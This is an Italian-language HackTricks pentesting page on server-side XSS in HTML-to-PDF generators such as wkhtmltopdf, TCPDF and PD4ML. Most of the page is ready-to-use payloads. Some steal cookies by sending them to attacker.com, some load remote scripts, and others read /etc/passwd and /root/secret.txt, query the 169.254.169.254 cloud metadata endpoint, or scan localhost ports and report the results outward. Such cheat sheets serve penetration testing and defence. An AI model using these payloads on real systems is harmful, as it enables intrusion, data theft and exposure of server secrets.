Server Side XSS (Dynamic PDF)

Support HackTricks

Server Side XSS (Dynamic PDF)

Se una pagina web sta creando un PDF utilizzando input controllato dall'utente, puoi provare a ingannare il bot che sta creando il PDF per eseguire codice JS arbitrario. Quindi, se il bot creatore di PDF trova qualche tipo di tag HTML, lo interpreta, e puoi sfruttare questo comportamento per causare un Server XSS.

Per favore, nota che i tag <script></script> non funzionano sempre, quindi avrai bisogno di un metodo diverso per eseguire JS (ad esempio, sfruttando <img ). Inoltre, nota che in un'esploitazione regolare sarai in grado di vedere/scaricare il PDF creato, quindi potrai vedere tutto ciò che scrivi tramite JS (utilizzando document.write() ad esempio). Ma, se non puoi vedere il PDF creato, probabilmente avrai bisogno di estrarre le informazioni facendo richieste web a te (Blind).

Generazione PDF popolare

  • wkhtmltopdf è noto per la sua capacità di convertire HTML e CSS in documenti PDF, utilizzando il motore di rendering WebKit. Questo strumento è disponibile come utility da riga di comando open-source, rendendolo accessibile per una vasta gamma di applicazioni.

  • TCPDF offre una soluzione robusta all'interno dell'ecosistema PHP per la generazione di PDF. È in grado di gestire immagini, grafica e crittografia, dimostrando la sua versatilità nella creazione di documenti complessi.

  • Per coloro che lavorano in un ambiente Node.js, PDFKit presenta un'opzione valida. Consente la generazione di documenti PDF direttamente da HTML e CSS, fornendo un ponte tra contenuti web e formati stampabili.

  • Gli sviluppatori Java potrebbero preferire iText, una libreria che non solo facilita la creazione di PDF ma supporta anche funzionalità avanzate come firme digitali e compilazione di moduli. Il suo set di funzionalità completo la rende adatta per generare documenti sicuri e interattivi.

  • FPDF è un'altra libreria PHP, distinta per la sua semplicità e facilità d'uso. È progettata per gli sviluppatori che cercano un approccio diretto alla generazione di PDF, senza la necessità di funzionalità estese.

Payloads

Discovery

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Qualsiasi dei payload precedenti o seguenti può essere utilizzato all'interno di questo payload SVG. Un iframe che accede al sottodominio Burpcollab e un altro che accede all'endpoint dei metadati sono forniti come esempi.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Puoi trovare molti altri payload SVG in https://github.com/allanlw/svg-cheatsheet

Rivelazione del percorso

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Carica uno script esterno

Il modo migliore per sfruttare questa vulnerabilità è abusare della vulnerabilità per far caricare al bot uno script che controlli localmente. In questo modo, sarai in grado di modificare il payload localmente e far caricare al bot lo stesso codice ogni volta.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Leggi file locale / SSRF

Cambia file:///etc/passwd con http://169.254.169.254/latest/user-data per esempio per cercare di accedere a una pagina web esterna (SSRF).

Se SSRF è consentito, ma non puoi raggiungere un dominio o un IP interessante, controlla questa pagina per potenziali bypass.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Ritardo del bot

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Scansione delle porte

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Questa vulnerabilità può essere trasformata molto facilmente in un SSRF (poiché puoi far caricare allo script risorse esterne). Quindi prova a sfruttarla (leggi alcuni metadati?).

Allegati: PD4ML

Ci sono alcuni motori HTML 2 PDF che consentono di specificare allegati per il PDF, come PD4ML. Puoi abusare di questa funzionalità per allegare qualsiasi file locale al PDF. Per aprire l'allegato, ho aperto il file con Firefox e ho fatto doppio clic sul simbolo della graffetta per salvare l'allegato come un nuovo file. Catturare la risposta PDF con burp dovrebbe anche mostrare l'allegato in chiaro all'interno del PDF.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

Riferimenti

Supporta HackTricks

Last updated